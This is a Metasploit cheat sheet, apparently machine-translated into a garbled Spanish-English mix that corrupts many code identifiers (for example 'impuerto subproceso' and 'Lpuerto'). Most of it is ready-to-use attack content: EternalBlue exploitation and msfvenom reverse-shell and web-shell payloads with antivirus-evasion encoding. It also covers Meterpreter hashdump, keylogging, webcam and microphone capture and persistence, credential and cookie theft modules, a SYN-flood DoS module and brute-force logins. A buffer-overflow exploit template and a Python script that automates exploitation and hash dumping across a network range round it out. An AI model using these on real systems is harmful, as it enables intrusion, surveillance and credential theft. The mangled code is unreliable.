Saltar a contenido

Metasploit hoja de trucos

Overview

Metasploit is the world's most widely used pruebas de penetración framework, providing a comprehensive platform for developing, testing, and executing exploit code against remote objetivo systems. Originally created by H.D. Moore and now maintained by Rapid7, Metasploit has evolved into the de facto standard for pruebas de penetración and vulnerabilidad assessment, offering an extensive collection of exploits, payloads, encoders, and auxiliary modules that enable security professionals to identify, validate, and demonstrate security vulnerabilities across diverse computing environments. The framework's modular architecture and extensive database of known exploits make it an indispensable tool for ethical hackers, security researchers, and penetration testers worldwide.

The core strength of Metasploit lies in its comprehensive exploit development and deployment capabilities, combining a vast repository of proven exploits with sophisticated payload generation and delivery mechanisms. The framework includes thousands of exploits objetivoing various operating systems, applications, and network servicios, along with hundreds of payloads ranging from simple comando shells to advanced persistent access mechanisms. Metasploit's intelligent objetivo detection and exploit selection capabilities enable automated vulnerabilidad assessment workflows, while its advanced evasion techniques and encoding opcións help bypass modern security controls and antivirus systems.

Metasploit's enterprise-grade features include distributed testing capabilities, comprehensive repuertoing and documentación tools, integration with vulnerabilidad scanners and security information systems, and extensive customization opcións for specialized testing scenarios. The framework suppuertos multiple interfaces including comando-line, web-based, and API access, enabling integration with automated security testing pipelines and custom security tools. With its active development community, regular updates incorporating the latest vulnerabilities and exploits, and proven track record in professional security assessments, Metasploit remains the cornerstone framework for pruebas de penetración and security validation across organizations of all sizes.

instalación

Ubuntu/Debian instalación

Installing Metasploit on Ubuntu/Debian systems:

# Update system packages
sudo apt update && sudo apt upgrade -y

# Install dependencies
sudo apt install -y curl wget gnupg2 software-properties-common

# Add Rapid7 repository
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
sudo ./msfinstall

# Alternative: Install from package
wget https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run
chmod +x metasploit-latest-linux-x64-installer.run
sudo ./metasploit-latest-linux-x64-installer.run

# Install from source (development version)
sudo apt install -y git ruby ruby-dev build-essential zlib1g-dev \
    libreadline-dev libssl-dev libpq-dev sqlite3 libsqlite3-dev \
    libpcap-dev autoconf postgresql postgresql-contrib

# Clone repository
git clone https://github.com/rapid7/metasploit-framework.git
cd metasploit-framework

# Install Ruby dependencies
gem install bundler
bundle install

# Initialize database
sudo systemctl start postgresql
sudo systemctl enable postgresql
sudo -u postgres createuser -s msf
sudo -u postgres createdb msf_database

# Configure database
cat > config/database.yml << 'EOF'
production:
  adapter: postgresql
  database: msf_database
  nombre de usuario: msf
  contraseña:
  host: localhost
  puerto: 5432
  pool: 5
  timeout: 5
EOF

# Initialize Metasploit database
./msfconsole -q -x "db_status; exit"

# Verify instalación
msfconsole --version

CentOS/RHEL instalación

# Install EPEL repository
sudo yum install -y epel-release

# Install dependencies
sudo yum install -y curl wget git ruby ruby-devel gcc gcc-c++ \
    make autoconf readline-devel openssl-devel zlib-devel \
    postgresql postgresql-server postgresql-contrib

# Initialize PostgreSQL
sudo postgresql-setup initdb
sudo systemctl start postgresql
sudo systemctl enable postgresql

# Install Metasploit
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
sudo ./msfinstall

# Configure database
sudo -u postgres createuser -s msf
sudo -u postgres createdb msf_database

# Verify instalación
msfconsole --version

macOS instalación

# Install using Homebrew
brew install metasploit

# Install dependencies
brew install postgresql
brew servicios start postgresql

# Create database
createuser -s msf
createdb msf_database

# Alternative: Install from installer
# Download from https://www.metasploit.com/download
# Run installer package

# Verify instalación
msfconsole --version

Windows instalación

# Download Windows installer
# https://www.metasploit.com/download

# Run installer as Administrator
# Follow instalación wizard

# Install PostgreSQL
# Download from https://www.postgresql.org/download/windows/
# Configure database during instalación

# Verify instalación
# Open comando Prompt or PowerShell
msfconsole --version

# Alternative: Install with Chocolatey
choco install metasploit

# Configure Windows Defender exclusions
# Add Metasploit instalación directory to exclusions

Docker instalación

Running Metasploit in Docker:

# Pull official Metasploit image
docker pull metasploitframework/metasploit-framework

# Run Metasploit console
docker run --rm -it metasploitframework/metasploit-framework

# Run with persistent data
docker run --rm -it \
    -v $(pwd)/msf_data:/home/msf/.msf4 \
    metasploitframework/metasploit-framework

# Create custom Dockerfile
cat > Dockerfile.metasploit << 'EOF'
FROM metasploitframework/metasploit-framework

# Install additional tools
USER root
RUN apt-get update && apt-get install -y \
    nmap \
    nikto \
    sqlmap \
    && rm -rf /var/lib/apt/lists/*

# Switch back to msf user
USER msf

# Set working directory
WORKDIR /home/msf

CMD ["msfconsole"]
EOF

# Build custom image
docker build -f Dockerfile.metasploit -t metasploit-custom .

# Run with network access
docker run --rm -it --net=host metasploit-custom

Basic uso

Metasploit Console

Getting started with msfconsole:

# Start Metasploit console
msfconsole

# Basic comandos
help                    # Show help
version                 # Show version information
exit                    # Exit console

# Database comandos
db_status              # Check database conexión
db_connect             # Connect to database
db_disconnect          # Disconnect from database
db_rebuild_cache       # Rebuild module cache

# Workspace management
workspace              # List workspaces
workspace -a test      # Add workspace
workspace test         # Switch to workspace
workspace -d test      # Delete workspace

# Module management
show exploits          # List all exploits
show payloads          # List all payloads
show auxiliary         # List auxiliary modules
show post             # List post-exploitation modules
show encoders         # List encoders
show nops             # List NOP generators

# Search modules
search type:exploit platform:windows
search cve:2017
search ms17-010
search apache

objetivo Discovery

Discovering and scanning objetivos:

# Network discovery with auxiliary modules
use auxiliary/scanner/discovery/arp_sweep
set RhostS 192.168.1.0/24
run

# escaneo de puertos
use auxiliary/scanner/puertoscan/tcp
set RhostS 192.168.1.100
set puertoS 1-1000
run

# servicio identification
use auxiliary/scanner/http/http_version
set RhostS 192.168.1.100
run

# SMB scanning
use auxiliary/scanner/smb/smb_version
set RhostS 192.168.1.0/24
run

# Database servicios
use auxiliary/scanner/mysql/mysql_version
set RhostS 192.168.1.100
run

# aplicación web scanning
use auxiliary/scanner/http/dir_scanner
set RhostS 192.168.1.100
set DICTIONARY /usr/share/wordlists/dirb/common.txt
run

# vulnerabilidad scanning
use auxiliary/scanner/smb/smb_ms17_010
set RhostS 192.168.1.0/24
run

# Save scan results
db_nmap -sS -O 192.168.1.0/24
hosts                  # View discovered hosts
servicios              # View discovered servicios
vulns                 # View discovered vulnerabilities

exploitation

Basic exploitation workflow:

# Select exploit module
use exploit/windows/smb/ms17_010_eternalblue
show opcións          # Display required opcións
show objetivos          # Display available objetivos
show payloads         # Display compatible payloads

# Configure exploit
set RhostS 192.168.1.100
set Rpuerto 445
set objetivo 0

# Select payload
set payload windows/x64/meterpreter/reverse_tcp
set Lhost 192.168.1.50
set Lpuerto 4444

# Verify configuración
show opcións
check                 # Check if objetivo is vulnerable

# Execute exploit
exploit
# or
run

# Alternative: Use exploit comando directly
exploit -j            # Run as job
exploit -z            # Don't interact with sesión

# sesión management
sesións              # List active sesións
sesións -i 1         # Interact with sesión 1
sesións -k 1         # Kill sesión 1
sesións -K           # Kill all sesións

payload Generation

Generating standalone payloads:

# Generate Windows executable
msfvenom -p windows/meterpreter/reverse_tcp \
    Lhost=192.168.1.50 Lpuerto=4444 \
    -f exe -o payload.exe

# Generate Linux executable
msfvenom -p linux/x86/meterpreter/reverse_tcp \
    Lhost=192.168.1.50 Lpuerto=4444 \
    -f elf -o payload.elf

# Generate PHP web shell
msfvenom -p php/meterpreter/reverse_tcp \
    Lhost=192.168.1.50 Lpuerto=4444 \
    -f raw -o shell.php

# Generate PowerShell payload
msfvenom -p windows/x64/meterpreter/reverse_tcp \
    Lhost=192.168.1.50 Lpuerto=4444 \
    -f psh -o payload.ps1

# Generate Android APK
msfvenom -p android/meterpreter/reverse_tcp \
    Lhost=192.168.1.50 Lpuerto=4444 \
    -o payload.apk

# Encoded payloads (AV evasion)
msfvenom -p windows/meterpreter/reverse_tcp \
    Lhost=192.168.1.50 Lpuerto=4444 \
    -e x86/shikata_ga_nai -i 3 \
    -f exe -o encoded_payload.exe

# List available formats
msfvenom --list formats

# List available encoders
msfvenom --list encoders

# List available payloads
msfvenom --list payloads

Advanced Features

Meterpreter

Advanced Meterpreter uso:

# Basic Meterpreter comandos
sysinfo               # System information
getuid                # Current user
getpid                # Current proceso ID
ps                    # proceso list
pwd                   # Current directory
ls                    # List files
cd /path              # Change directory

# File operations
download file.txt     # Download file
upload file.txt       # Upload file
edit file.txt         # Edit file
cat file.txt          # Display file content
rm file.txt           # Delete file
mkdir newdir          # Create directory

# System operations
shell                 # Drop to system shell
execute -f cmd.exe -i # Execute comando interactively
migrate 1234          # Migrate to proceso ID 1234
kill 1234             # Kill proceso ID 1234
reboot                # Reboot system
shutdown              # Shutdown system

# Network operations
netstat               # Network conexións
route                 # Routing table
arp                   # ARP table
puertofwd add -l 8080 -p 80 -r 192.168.1.100  # puerto forwarding

# escalada de privilegios
getsystem             # Attempt escalada de privilegios
getprivs              # Get current privileges

# persistencia
run persistencia -X -i 10 -p 4444 -r 192.168.1.50

# Information gathering
hashdump              # Dump contraseña hashes
screenshot            # Take screenshot
webcam_snap           # Take webcam photo
record_mic            # Record microphone
clavescan_start         # Start clavelogger
clavescan_dump          # Dump clavestrokes
clavescan_stop          # Stop clavelogger

# Registry operations (Windows)
reg queryval -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion -v ProductName
reg setval -k HKLM\\Software\\Test -v TestValue -t REG_SZ -d "Test Data"
reg deleteval -k HKLM\\Software\\Test -v TestValue

# Background sesión
background            # Background current sesión

Post-exploitation

Post-exploitation modules:

# Load post-exploitation module
use post/windows/gather/hashdump
set sesión 1
run

# System information gathering
use post/windows/gather/enum_system
use post/linux/gather/enum_system
use post/osx/gather/enum_osx

# Network enumeración
use post/windows/gather/enum_domain
use post/windows/gather/enum_shares
use post/multi/gather/enum_network

# Credential harvesting
use post/windows/gather/credenciales/windows_autologin
use post/windows/gather/smart_hashdump
use post/linux/gather/hashdump

# escalada de privilegios
use post/windows/escalate/getsystem
use post/linux/escalate/cve_2021_4034

# persistencia mechanisms
use post/windows/manage/persistencia_exe
use post/linux/manage/sshclave_persistencia

# Data exfiltración
use post/windows/gather/enum_files
use post/multi/gather/firefox_creds
use post/multi/gather/chrome_cookies

# movimiento lateral
use post/windows/gather/enum_domain_users
use post/windows/gather/enum_computers

Auxiliary Modules

Using auxiliary modules for various tasks:

# fuerza bruta attacks
use auxiliary/scanner/ssh/ssh_login
set RhostS 192.168.1.100
set USER_FILE users.txt
set PASS_FILE contraseñas.txt
run

# FTP fuerza bruta
use auxiliary/scanner/ftp/ftp_login
set RhostS 192.168.1.100
set nombre de usuario admin
set PASS_FILE contraseñas.txt
run

# HTTP fuerza bruta
use auxiliary/scanner/http/http_login
set RhostS 192.168.1.100
set AUTH_URI /admin/login
set nombre de usuario admin
set PASS_FILE contraseñas.txt
run

# Database attacks
use auxiliary/scanner/mysql/mysql_login
use auxiliary/scanner/mssql/mssql_login
use auxiliary/scanner/postgres/postgres_login

# Denial of servicio
use auxiliary/dos/tcp/synflood
set Rhost 192.168.1.100
run

# Information gathering
use auxiliary/gather/shodan_search
set SHODAN_APIclave your_api_clave
set QUERY "apache"
run

# Fuzzing
use auxiliary/fuzzers/http/http_form_field
set RhostS 192.168.1.100
set URI /login.php
run

# SNMP enumeración
use auxiliary/scanner/snmp/snmp_enum
set RhostS 192.168.1.0/24
run

Custom Modules

Creating custom Metasploit modules:

# Custom auxiliary module template
# Save as ~/.msf4/modules/auxiliary/scanner/custom/my_scanner.rb

require 'msf/core'

class MetasploitModule < Msf::Auxiliary
  include Msf::exploit::Remote::Tcp
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Repuerto

  def initialize(info = \\\\{\\\\})
    super(update_info(info,
      'Name'           => 'Custom Scanner Module',
      'Descripción'    => 'Custom scanner for demonstration',
      'Author'         => ['Your Name'],
      'License'        => MSF_LICENSE,
      'referencias'     => [
        ['URL', 'http://ejemplo.com']
      ],
      'DisclosureDate' => '2023-01-01'
    ))

    register_opcións([
      Opt::Rpuerto(80),
      OptString.new('URI', [true, 'URI to scan', '/']),
      OptString.new('claveWORD', [true, 'claveword to search for', 'admin'])
    ])
  end

  def run_host(objetivo_host)
    begin
      connect

      request = "GET #\\\\{datastore['URI']\\\\} HTTP/1.1\r\n"
      request << "host: #\\\\{objetivo_host\\\\}\r\n"
      request << "conexión: close\r\n\r\n"

      sock.put(request)
      response = sock.recv(1024)

      if response.include?(datastore['claveWORD'])
        print_good("#\\\\{objetivo_host\\\\}:#\\\\{rpuerto\\\\} - Found claveword: #\\\\{datastore['claveWORD']\\\\}")

        repuerto_note(
          host: objetivo_host,
          puerto: rpuerto,
          proto: 'tcp',
          type: 'custom_scan',
          data: "claveword '#\\\\{datastore['claveWORD']\\\\}' found"
        )
      else
        print_status("#\\\\{objetivo_host\\\\}:#\\\\{rpuerto\\\\} - claveword not found")
      end

    rescue ::Exception => e
      print_error("#\\\\{objetivo_host\\\\}:#\\\\{rpuerto\\\\} - Error: #\\\\{e.message\\\\}")
    ensure
      disconnect
    end
  end
end
# Custom exploit module template
# Save as ~/.msf4/modules/exploits/custom/my_exploit.rb

require 'msf/core'

class MetasploitModule < Msf::exploit::Remote
  Rank = NormalRanking

  include Msf::exploit::Remote::Tcp

  def initialize(info = \\\\{\\\\})
    super(update_info(info,
      'Name'           => 'Custom exploit Module',
      'Descripción'    => 'Custom exploit for demonstration',
      'Author'         => ['Your Name'],
      'License'        => MSF_LICENSE,
      'referencias'     => [
        ['CVE', '2023-0001'],
        ['URL', 'http://ejemplo.com']
      ],
      'Platform'       => 'linux',
      'objetivos'        => [
        ['Linux x86', \\\\{ 'Ret' => 0x08048484 \\\\}]
      ],
      'payload'        => \\\\{
        'Space'    => 400,
        'BadChars' => "\x00\x0a\x0d\x20"
      \\\\},
      'DisclosureDate' => '2023-01-01',
      'Defaultobjetivo'  => 0
    ))

    register_opcións([
      Opt::Rpuerto(9999),
      OptString.new('comando', [true, 'comando to execute', 'id'])
    ])
  end

  def check
    begin
      connect
      sock.put("TEST\n")
      response = sock.recv(1024)
      disconnect

      if response.include?("VULNERABLE")
        return exploit::CheckCode::Vulnerable
      else
        return exploit::CheckCode::Safe
      end
    rescue
      return exploit::CheckCode::Unknown
    end
  end

  def exploit
    begin
      connect

      buffer = "A" * 260
      buffer << [objetivo.ret].pack('V')
      buffer << payload.encoded

      print_status("Sending exploit buffer...")
      sock.put(buffer)

      handler
      disconnect

    rescue ::Exception => e
      print_error("exploit failed: #\\\\{e.message\\\\}")
    end
  end
end

Automation Scripts

Automated pruebas de penetración Script

#!/usr/bin/env python3
# Automated pruebas de penetración with Metasploit

impuerto subproceso
impuerto json
impuerto time
impuerto sys
impuerto os
impuerto argparse
from datetime impuerto datetime

class MetasploitAutomator:
    def __init__(self, msf_path="msfconsole"):
        self.msf_path = msf_path
        self.workspace = f"auto_test_\\\\{int(time.time())\\\\}"
        self.results = \\\\{\\\\}

    def execute_msf_comando(self, comandos, timeout=300):
        """Execute Metasploit comandos"""
        if isinstance(comandos, str):
            comandos = [comandos]

        # Create resource file
        resource_file = f"/tmp/msf_comandos_\\\\{int(time.time())\\\\}.rc"
        with open(resource_file, 'w') as f:
            for cmd in comandos:
                f.write(f"\\\\{cmd\\\\}\n")
            f.write("exit\n")

        try:
            # Execute Metasploit with resource file
            result = subproceso.run([
                self.msf_path, "-q", "-r", resource_file
            ], capture_output=True, text=True, timeout=timeout)

            # Clean up
            os.remove(resource_file)

            return result.stdout, result.stderr, result.returncode
        except subproceso.TimeoutExpired:
            print(f"comando timed out after \\\\{timeout\\\\} seconds")
            return "", "Timeout", 1
        except Exception as e:
            print(f"Error executing comando: \\\\{e\\\\}")
            return "", str(e), 1

    def setup_workspace(self):
        """Setup Metasploit workspace"""
        comandos = [
            "db_status",
            f"workspace -a \\\\{self.workspace\\\\}",
            f"workspace \\\\{self.workspace\\\\}"
        ]

        stdout, stderr, returncode = self.execute_msf_comando(comandos)

        if returncode == 0:
            print(f"Workspace '\\\\{self.workspace\\\\}' created successfully")
            return True
        else:
            print(f"Failed to create workspace: \\\\{stderr\\\\}")
            return False

    def network_discovery(self, objetivo_range):
        """Perform network discovery"""
        print(f"Starting network discovery for \\\\{objetivo_range\\\\}")

        comandos = [
            f"workspace \\\\{self.workspace\\\\}",
            f"db_nmap -sn \\\\{objetivo_range\\\\}",
            "hosts -c address,name,os_name,purpose",
            "servicios -c puerto,proto,name,state"
        ]

        stdout, stderr, returncode = self.execute_msf_comando(comandos, timeout=600)

        if returncode == 0:
            print("Network discovery completed")
            self.results['discovery'] = stdout
            return True
        else:
            print(f"Network discovery failed: \\\\{stderr\\\\}")
            return False

    def vulnerabilidad_scan(self, objetivos):
        """Perform vulnerabilidad scanning"""
        print(f"Starting vulnerabilidad scan for \\\\{objetivos\\\\}")

        scan_modules = [
            "auxiliary/scanner/smb/smb_ms17_010",
            "auxiliary/scanner/http/http_version",
            "auxiliary/scanner/ssh/ssh_version",
            "auxiliary/scanner/ftp/ftp_version",
            "auxiliary/scanner/mysql/mysql_version"
        ]

        comandos = [f"workspace \\\\{self.workspace\\\\}"]

        for module in scan_modules:
            comandos.extend([
                f"use \\\\{module\\\\}",
                f"set RhostS \\\\{objetivos\\\\}",
                "run",
                "back"
            ])

        comandos.append("vulns")

        stdout, stderr, returncode = self.execute_msf_comando(comandos, timeout=1200)

        if returncode == 0:
            print("vulnerabilidad scan completed")
            self.results['vulnerabilities'] = stdout
            return True
        else:
            print(f"vulnerabilidad scan failed: \\\\{stderr\\\\}")
            return False

    def automated_exploitation(self, objetivos):
        """Perform automated exploitation"""
        print(f"Starting automated exploitation for \\\\{objetivos\\\\}")

        # Common exploits to try
        exploits = [
            \\\\{
                'module': 'exploit/windows/smb/ms17_010_eternalblue',
                'payload': 'windows/x64/meterpreter/reverse_tcp',
                'puerto': 445
            \\\\},
            \\\\{
                'module': 'exploit/linux/ssh/ssh_login',
                'payload': 'linux/x86/meterpreter/reverse_tcp',
                'puerto': 22
            \\\\},
            \\\\{
                'module': 'exploit/multi/http/apache_struts2_content_type_ognl',
                'payload': 'linux/x86/meterpreter/reverse_tcp',
                'puerto': 80
            \\\\}
        ]

        successful_exploits = []

        for exploit in exploits:
            comandos = [
                f"workspace \\\\{self.workspace\\\\}",
                f"use \\\\{exploit['module']\\\\}",
                f"set RhostS \\\\{objetivos\\\\}",
                f"set Rpuerto \\\\{exploit['puerto']\\\\}",
                f"set payload \\\\{exploit['payload']\\\\}",
                "set Lhost 0.0.0.0",  # Auto-detect
                "set Lpuerto 4444",
                "check",
                "exploit -j",  # Run as job
                "sleep 10",
                "sesións -l"
            ]

            stdout, stderr, returncode = self.execute_msf_comando(comandos, timeout=300)

            if "sesión" in stdout.lower() and "opened" in stdout.lower():
                print(f"Successful exploitation with \\\\{exploit['module']\\\\}")
                successful_exploits.append(exploit)
            else:
                print(f"exploitation failed with \\\\{exploit['module']\\\\}")

        self.results['exploits'] = successful_exploits
        return len(successful_exploits) > 0

    def post_exploitation(self):
        """Perform post-exploitation activities"""
        print("Starting post-exploitation activities")

        comandos = [
            f"workspace \\\\{self.workspace\\\\}",
            "sesións -l",
            "sesións -i 1",  # Interact with first sesión
            "sysinfo",
            "getuid",
            "ps",
            "hashdump",
            "background"
        ]

        stdout, stderr, returncode = self.execute_msf_comando(comandos, timeout=300)

        if returncode == 0:
            print("Post-exploitation completed")
            self.results['post_exploitation'] = stdout
            return True
        else:
            print(f"Post-exploitation failed: \\\\{stderr\\\\}")
            return False

    def generate_repuerto(self, output_file="metasploit_repuerto.html"):
        """Generate comprehensive repuerto"""
        html_content = f"""
<!DOCTYPE html>
<html>
<head>
    <title>Metasploit Automated Penetration Test Repuerto</title>
    <style>
        body \\\\{\\\\{ font-family: Arial, sans-serif; margin: 20px; \\\\}\\\\}
        .section \\\\{\\\\{ margin: 20px 0; padding: 15px; border: 1px solid #ddd; \\\\}\\\\}
        .critical \\\\{\\\\{ color: red; font-weight: bold; \\\\}\\\\}
        .warning \\\\{\\\\{ color: orange; font-weight: bold; \\\\}\\\\}
        .info \\\\{\\\\{ color: blue; \\\\}\\\\}
        .success \\\\{\\\\{ color: green; font-weight: bold; \\\\}\\\\}
        table \\\\{\\\\{ border-collapse: collapse; width: 100%; \\\\}\\\\}
        th, td \\\\{\\\\{ border: 1px solid #ddd; padding: 8px; text-align: left; \\\\}\\\\}
        th \\\\{\\\\{ background-color: #f2f2f2; \\\\}\\\\}
        pre \\\\{\\\\{ background: #f5f5f5; padding: 10px; overflow-x: auto; \\\\}\\\\}
    </style>
</head>
<body>
    <h1>Metasploit Automated Penetration Test Repuerto</h1>
    <p>Generated: \\\\{datetime.now().isoformat()\\\\}</p>
    <p>Workspace: \\\\{self.workspace\\\\}</p>

    <div class="section">
        <h2>Executive Summary</h2>
        <ul>
            <li>Successful exploits: \\\\{len(self.results.get('exploits', []))\\\\}</li>
            <li>Vulnerabilities Found: \\\\{self.count_vulnerabilities()\\\\}</li>
            <li>hosts Discovered: \\\\{self.count_hosts()\\\\}</li>
        </ul>
    </div>

    <div class="section">
        <h2>Network Discovery Results</h2>
        <pre>\\\\{self.results.get('discovery', 'No discovery data available')\\\\}</pre>
    </div>

    <div class="section">
        <h2 class="critical">Successful exploits</h2>
        <table>
            <tr><th>Module</th><th>payload</th><th>puerto</th></tr>
"""

        for exploit in self.results.get('exploits', []):
            html_content += f"""
            <tr>
                <td>\\\\{exploit['module']\\\\}</td>
                <td>\\\\{exploit['payload']\\\\}</td>
                <td>\\\\{exploit['puerto']\\\\}</td>
            </tr>"""

        html_content += """
        </table>
    </div>

    <div class="section">
        <h2>vulnerabilidad Scan Results</h2>
        <pre>\\\\{\\\\}</pre>
    </div>

    <div class="section">
        <h2>Post-exploitation Results</h2>
        <pre>\\\\{\\\\}</pre>
    </div>

    <div class="section">
        <h2>Recommendations</h2>
        <ul>
            <li>Patch all identified vulnerabilities immediately</li>
            <li>Implement network segmentation</li>
            <li>Deploy endpoint detection and response (EDR) solutions</li>
            <li>Conduct regular security assessments</li>
            <li>Implement multi-factor autenticación</li>
            <li>Monitor network traffic for suspicious activities</li>
        </ul>
    </div>
</body>
</html>
""".format(
            self.results.get('vulnerabilities', 'No vulnerabilidad data available'),
            self.results.get('post_exploitation', 'No post-exploitation data available')
        )

        with open(output_file, 'w') as f:
            f.write(html_content)

        print(f"Repuerto generated: \\\\{output_file\\\\}")
        return output_file

    def count_vulnerabilities(self):
        """Count vulnerabilities from scan results"""
        vuln_data = self.results.get('vulnerabilities', '')
        return vuln_data.count('Vulnerable') + vuln_data.count('VULNERABLE')

    def count_hosts(self):
        """Count discovered hosts"""
        discovery_data = self.results.get('discovery', '')
        return discovery_data.count('address')

    def cleanup(self):
        """Clean up workspace and sesións"""
        comandos = [
            "sesións -K",  # Kill all sesións
            f"workspace -d \\\\{self.workspace\\\\}"
        ]

        self.execute_msf_comando(comandos)
        print("Cleanup completed")

    def run_full_assessment(self, objetivo_range, output_dir="/tmp/metasploit_assessment"):
        """Run complete automated assessment"""
        print("Starting automated Metasploit assessment...")

        # Create output directory
        os.makedirs(output_dir, exist_ok=True)

        try:
            # Setup workspace
            if not self.setup_workspace():
                return False

            # Network discovery
            if not self.network_discovery(objetivo_range):
                return False

            # vulnerabilidad scanning
            if not self.vulnerabilidad_scan(objetivo_range):
                return False

            # Automated exploitation
            self.automated_exploitation(objetivo_range)

            # Post-exploitation
            self.post_exploitation()

            # Generate repuerto
            repuerto_file = os.path.join(output_dir, "metasploit_repuerto.html")
            self.generate_repuerto(repuerto_file)

            print("Automated assessment completed successfully")
            return True

        except Exception as e:
            print(f"Assessment failed: \\\\{e\\\\}")
            return False
        finally:
            self.cleanup()

def main():
    parser = argparse.ArgumentParser(Descripción='Metasploit Automation')
    parser.add_argument('--objetivo', required=True, help='objetivo range (e.g., 192.168.1.0/24)')
    parser.add_argument('--output', default='/tmp/metasploit_assessment', help='Output directory')
    parser.add_argument('--msf-path', default='msfconsole', help='Path to msfconsole')

    args = parser.parse_args()

    # Initialize automator
    automator = MetasploitAutomator(args.msf_path)

    # Run assessment
    success = automator.run_full_assessment(args.objetivo, args.output)

    if success:
        print("Assessment completed successfully")
    else:
        print("Assessment failed")
        sys.exit(1)

if __name__ == "__main__":
    main()

Integration ejemplos

CI/CD Integration

# Jenkins Pipeline for Metasploit Integration
pipeline \\\\{
    agent \\\\{
        label 'security-testing'
    \\\\}

    environment \\\\{
        MSF_DATABASE_URL = 'postgresql: //msf:contraseña@localhost/msf_database'
        objetivo_NETWORK = '192.168.100.0/24'
    \\\\}

    stages \\\\{
        stage('Setup Environment') \\\\{
            steps \\\\{
                script \\\\{
                    // Start PostgreSQL and initialize Metasploit
                    sh '''
                        sudo systemctl start postgresql
                        msfdb init
                        msfconsole -q -x "db_status; exit"
                    '''
                \\\\}
            \\\\}
        \\\\}

        stage('Network Discovery') \\\\{
            steps \\\\{
                script \\\\{
                    // Perform network discovery
                    sh '''
                        cat > discovery.rc << 'EOF'
workspace -a jenkins_test
db_nmap -sn $\\\\{objetivo_NETWORK\\\\}
hosts -o hosts.xml
exit
EOF
                        msfconsole -q -r discovery.rc
                    '''
                \\\\}
            \\\\}
        \\\\}

        stage('vulnerabilidad Assessment') \\\\{
            steps \\\\{
                script \\\\{
                    // Run vulnerabilidad scans
                    sh '''
                        cat > vuln_scan.rc << 'EOF'
workspace jenkins_test
use auxiliary/scanner/smb/smb_ms17_010
set RhostS $\\\\{objetivo_NETWORK\\\\}
run
vulns -o vulns.xml
exit
EOF
                        msfconsole -q -r vuln_scan.rc
                    '''
                \\\\}
            \\\\}
        \\\\}

        stage('Generate Repuerto') \\\\{
            steps \\\\{
                script \\\\{
                    // Generate security repuerto
                    sh '''
                        python3 generate_msf_repuerto.py \
                            --hosts hosts.xml \
                            --vulns vulns.xml \
                            --output security_repuerto.html
                    '''
                \\\\}
            \\\\}
        \\\\}
    \\\\}

    post \\\\{
        always \\\\{
            // Archive results
            archiveArtifacts artifacts: '*.xml,*.html', huella digital: true

            // Publish repuerto
            publishHTML([
                allowMissing: false,
                alwaysLinkToLastBuild: true,
                keepAll: true,
                repuertoDir: '.',
                repuertoFiles: 'security_repuerto.html',
                repuertoName: 'Security Assessment Repuerto'
            ])

            // Clean up
            sh '''
                msfconsole -q -x "workspace -d jenkins_test; exit"
                rm -f *.rc *.xml
            '''
        \\\\}

        failure \\\\{
            // Send notification
            emailext (
                subject: "Security Assessment Failed: $\\\\{env.JOB_NAME\\\\} - $\\\\{env.BUILD_NUMBER\\\\}",
                body: "Security assessment failed. Check console output for details.",
                to: "$\\\\{env.SECURITY_TEAM_EMAIL\\\\}"
            )
        \\\\}
    \\\\}
\\\\}

solución de problemas

Common Issues

Database conexión Issues:

# Check database status
msfconsole -q -x "db_status; exit"

# Reinitialize database
msfdb delete
msfdb init

# Manual database setup
sudo -u postgres createuser -s msf
sudo -u postgres createdb msf_database

# Configure database conexión
cat > ~/.msf4/database.yml << 'EOF'
production:
  adapter: postgresql
  database: msf_database
  nombre de usuario: msf
  contraseña:
  host: localhost
  puerto: 5432
  pool: 5
  timeout: 5
EOF

Module Loading Issues:

# Reload modules
msfconsole -q -x "reload_all; exit"

# Check module paths
msfconsole -q -x "show advanced; exit"|grep ModulePath

# Update Metasploit
msfupdate

# Clear module cache
rm -rf ~/.msf4/store/modules_metadata.json

payload Generation Issues:

# Check available encoders
msfvenom --list encoders

# Test payload generation
msfvenom -p windows/meterpreter/reverse_tcp \
    Lhost=127.0.0.1 Lpuerto=4444 \
    -f exe --platform windows -a x86 \
    -o test_payload.exe

# Debug payload issues
msfvenom -p windows/meterpreter/reverse_tcp \
    Lhost=127.0.0.1 Lpuerto=4444 \
    -f raw|hexdump -C

Performance Optimization

Optimizing Metasploit performance:

# Database optimization
# Edit postgresql.conf
sudo nano /etc/postgresql/*/main/postgresql.conf

# Increase shared_buffers
shared_buffers = 256MB

# Increase work_mem
work_mem = 4MB

# Restart PostgreSQL
sudo systemctl restart postgresql

# Metasploit optimization
# Increase Ruby memory limit
expuerto RUBY_HEAP_MIN_SLOTS=800000
expuerto RUBY_HEAP_SLOTS_INCREMENT=300000
expuerto RUBY_HEAP_SLOTS_GROWTH_FACTOR=1
expuerto RUBY_GC_MALLOC_LIMIT=79000000

# Start Metasploit with optimizations
msfconsole

Security Considerations

Operational Security

Legal and Ethical uso: - Only use Metasploit against systems you own or have explicit permission to test - Understand legal requirements for pruebas de penetración in your jurisdiction - Implement proper autorización and documentación procedures - Respect scope limitations and rules of engagement - Maintain confidentiality of discovered vulnerabilities

Data Protection: - Encrypt Metasploit databases containing sensitive information - Implement secure data retention policies for assessment results - Control access to exploitation tools and results - Secure transmission of assessment repuertos and findings - Regular cleanup of temporary files and sesión data

Defensive Considerations

Detection and Prevention: - Monitor for Metasploit firmas and indicators of compromise - Implement network intrusion detection systems - Deploy endpoint detection and response solutions - Regular security assessments and vulnerabilidad management - Security awareness training for development and operations teams

referencias

  1. Metasploit Official documentación
  2. Metasploit GitHub Repository
  3. Metasploit Unleashed Course
  4. Rapid7 vulnerabilidad Database
  5. OWASP Testing Guide